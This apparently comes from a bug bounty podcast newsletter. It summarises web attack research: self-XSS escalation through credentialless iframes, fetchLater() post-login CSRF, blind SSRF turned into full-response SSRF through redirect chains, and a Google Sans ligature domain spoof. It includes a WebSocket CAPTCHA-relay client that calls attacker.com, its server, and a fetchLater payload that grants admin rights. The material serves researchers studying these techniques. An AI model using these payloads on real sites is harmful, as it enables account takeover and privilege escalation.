[HackerNotes Ep. 128] New Research in Blind SSRF and Self-XSS, and How to Architect Source-code Review AI Bots

In this episode of Critical Thinking - Bug Bounty Podcast we talking Blind SSRF and Self-XSS, as well as Reversing massive minified JS with AI and a wild Google Logo Ligature Bug

Hacker TL;DR

  • Credentialless Iframes:

    <iframe credentialless> creates a clean browsing context, no cookies, storage, or session data. Yet remains same-origin, allowing scripting access. You can embed a page, lure the victim to authenticate inside it, and trigger your stored XSS payload in their authenticated session.

  • fetchLater() + Redirect Loops:

    The fetchLater() API, available in Chrome behind an origin trial, queues fetches to execute after a delay or upon tab close. Justin improved this technique, stalling the queued request using repeated delayed redirects (max 300 s per loop). Stack enough delays (~20 loops) and you can stretch execution for ~90 minutes. If the victim logs in during that window, the queued request fires with their session cookies.

  • Framebusting Intervention Coming:

    Chrome/Blink has proposed a Framebusting Intervention to block window.top.location calls from cross-origin iframes, unless explicitly permitted.

  • Google Sans Ligature Spoof:

    Google Sans font used in Chrome UI ha a ligature that replaces googlelogoligature with a “Google” glyph. Domains like googlelogoligature.net visually render as “Google.net”, even though DNS resolves to the domain. Go to google.com and search for googlelogoligature yourself!

Secure every endpoint with ThreatLocker’s Patch Management - automated, one-click updates you can trust.
Stop breaches before they start with instant vulnerability elimination.
Stay compliant and in control with real-time reporting.

Find out more below:

Make Self-XSS Great Again

Slonser has been killing it with the research he’s been putting out. Check this out.

Credentialless Iframes

Adding the credentialless attribute to an <iframe> spins up a completely fresh browser context—no cookies, no storage, no session data from the user's site.

You can embed a target page without inheriting the victim’s session. That means you can trick them into authenticating inside your iframe, which lacks credentials, and then pivot that auth to your attack vector, converting "stored self-XSS" into real stored XSS.

  • Slonser specifically uses this to trigger stored self-XSS in an environment where the victim is tricked into logging in inside a credentialless iframe. The key part is not stealing tokens but rather upgrading the context of where the XSS fires.

  • The attacker prepares everything in their own account: they plant a payload, then embed that view via a credentialless iframe. The victim logs in inside the iframe, and the payload executes as them.

  • It works only because credentialless iframes still allow scripting if same-origin and no cross-origin headers are set to block it.

This is really good because it eliminates the need for a logout CSRF. Cool!

SELF-XSS + CSRF on Login with Captcha

Interesting captcha bypass technique in Slonser's research! He points out that CAPTCHAs aren't effective CSRF protection. There's no guarantee the CAPTCHA solution comes from the same device that submits it.

For attackers, this means we can just add a CAPTCHA retrieval step to the exploit. Here’s a neat WebSocket implementation where the victim connects to the attacker's server, and the attacker manually provides the captcha token.

const ws = new WebSocket('ws://attacker.com:3004');
ws.onopen = () => {
  ws.send(JSON.stringify({ type: 'visited' }));
};

ws.onmessage = (event) => {
  const data = JSON.parse(event.data);
  if (data.type === 'captcha') {
    captchaInput.value = data.captchaToken;
  }
};

On the server side:

const WebSocket = require('ws');
const readline = require('readline');

const wss = new WebSocket.Server({ port: 3004 });

const rl = readline.createInterface({
    input: process.stdin,
    output: process.stdout
});

console.log('WebSocket server is running on port 3004');
wss.on('connection', (ws) => {
    console.log('New client connected');
    ws.on('message', (message) => {
        const data = JSON.parse(message);
        if (data.type === 'visited') {
            console.log('Client sent visited message');
            rl.question('Enter captcha token: ', (token) => {
                ws.send(JSON.stringify({
                    type: 'captcha',
                    captchaToken: token
                }));
            });
        }
    });

    ws.on('close', () => {
        console.log('Client disconnected');
    });
});

fetchLater(): X-Frame Bypass & Post-Login Execution

If the target sets X-Frame-Options: DENY, you can’t iframe it to abuse session context. But Slonser points out a slick workaround: use the fetchLater() API to schedule deferred requests that execute even after the page is closed or navigated away from.

The flow looks like this:

  • You trigger a self-XSS from your attacker profile

  • From there, you register multiple fetchLater() requests with different timeouts—delays

  • Then you log out

  • When the victim logs in, those requests execute with their session cookies

  • The attack is executed as the victim

This gives you delayed post-login execution without needing iframe context or an active session.

var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
  fetchLater(req,{activateAfter: timeout})
  • Works even if X-Frame-Options: DENY is set.

  • Requires no tokens or cookie theft.

  • Becomes a powerful post-XSS primitive, especially when CSRF is possible.

Here’s a solution that Justin came up with. Instead of relying solely on fetchLater()’s timeout, you can chain redirects from your own server, each with a 300-second delay, which is the max Chrome allows. If you do this in a loop 20 times, you can stall the request for up to 90 minutes.

That means even after the tab is closed, the request stays pending. Once the victim logs in, it completes using their session cookies. Massively extending what fetchLater() can do and turning it into a post-login execution vector without needing any session management tricks or iframe context.

Assetnote discovered a novel way to turn blind SSRF into full-response SSRF using chained HTTP redirects. While testing a popular enterprise app that used native C++ bindings and libcurl, they noticed that basic SSRF payloads would trigger JSON parsing errors or silently fail, even when the app followed redirects. They couldn’t leak the full HTTP response, especially not a 200 OK from something like the AWS metadata IP.

They wrote a Flask server that sends a different 3xx status code on each redirect (starting at 301 and incrementing up to 310), and after 10 hops, sends the final 200 OK. Surprisingly, the target app returned the entire redirect chain along with the final response body. This behaviour wasn’t caused by libcurl itself, but by how the app handled too many redirects. Once the libcurl redirect threshold was hit, the app switched to internal error handling and ended up leaking the full HTTP body. This technique works even when normal SSRF tricks don’t.

  • Use chained redirects (e.g., 301→302→303…→310→200 OK) to trigger fallback response handling.

  • Apps using libcurl might leak full HTTP bodies after the redirect threshold is crossed.

  • Works even when apps block or parse normal SSRF payloads.

  • You can automate this pattern with surf.

The Chrome/Blink team recently announced an Intent to Prototype called Framebusting Intervention, targeting a exploit primitive: using cross-origin iframes to navigate the top-level window via window.top.location.

Under the current model:

  • You embed a cross-origin iframe (no sandbox, no COOP).

  • That iframe can still execute window.top.location = "...".

  • This implicitly hijacks the parent tab navigation.

The new intervention aims to block this behaviour by default, unless the iframe meets specific legitimacy criteria. This was previously implemented in Chrome M68 and Safari 13, but now the Chromium team is formally standardising the behaviour.

This blocks silent redirection tricks from within cross-origin iframes. If your payloads rely on iframe-based navigation (like opening privileged pages or redirecting to phishing UIs), those are now going to break or require explicit overrides.

Hrishi’s exploration dives into orchestrating multiple LLM subagents, helping them collaborate on understanding huge codebases. Rather than relying on naive chunking and summarisation, the key insight is to maintain context, guide emergent behaviour, and let a powerful superagent coordinate the group. He tried several models:

  1. Solo human orchestrator with Opus: good results, but unscalable

  2. Peer subagents talking to each other: got messy quickly

  3. Opus-based superagent dispatching to subagents: better, but context drift killed it

  4. Finally, a refined approach: a unified single-prompt orchestration with round-based cleanups—this stayed coherent up to ~5 rounds, built emergent priority markers, and enabled focused extraction without hallucination overload.

Once intermediate Q&A logs (~300K tokens) were in place, Hrishi structured a final write-up by feeding selective context into Gemini for architecture/dataflow extraction, and using Opus and Claude Code for polishing and formatting. He emphasises that chunks can’t just be summarised, they need intelligent stitching that involves intermediate hallucinations.

  • Chunked code needs context-aware stitching, not linear summarisation

  • Use a superagent to coordinate multiple subagents via a single unified prompt

  • Limit rounds to avoid context loss; emergent behaviours like priority tagging appear

  • After analysis, move to synthesis and polish with specialist models

  • Human cleanup and prompt tuning remain essential to control hallucination and guide quality

This is actually very complex but we did our best to summarise it here. So if you are interested, please check out the full post linked in the title.

Google Logo Ligature Bug

First, go to Google.com and search for “googlelogoligature.net”, let’s continue.

Jeffrey Yasskin discovered a font-level URL spoof in Chrome; if you register a domain like googlelogoligature.net, Chrome, especially on Android, displays it visually as “Google.net”.

This isn’t a Unicode trick; it’s caused by a ligature in the Google Sans font, where the font ends up merging “oglelogoligature” into the stylised “Google” glyph. The browser still routes to googlelogoligature.net, but users see “Google.net” in the URL bar.

This ligature trick affects any Chrome UI that uses Google Sans. Attackers could register visually “trusted” domains merely by exploiting font behaviour.

Mentions

  • jscollab — Great tool from XSSDoctor, this got mentioned pretty quickly, but it’s a tool to use Gemini to provide code explanation and summaries.

That’s it for the week,

And as always, keep hacking!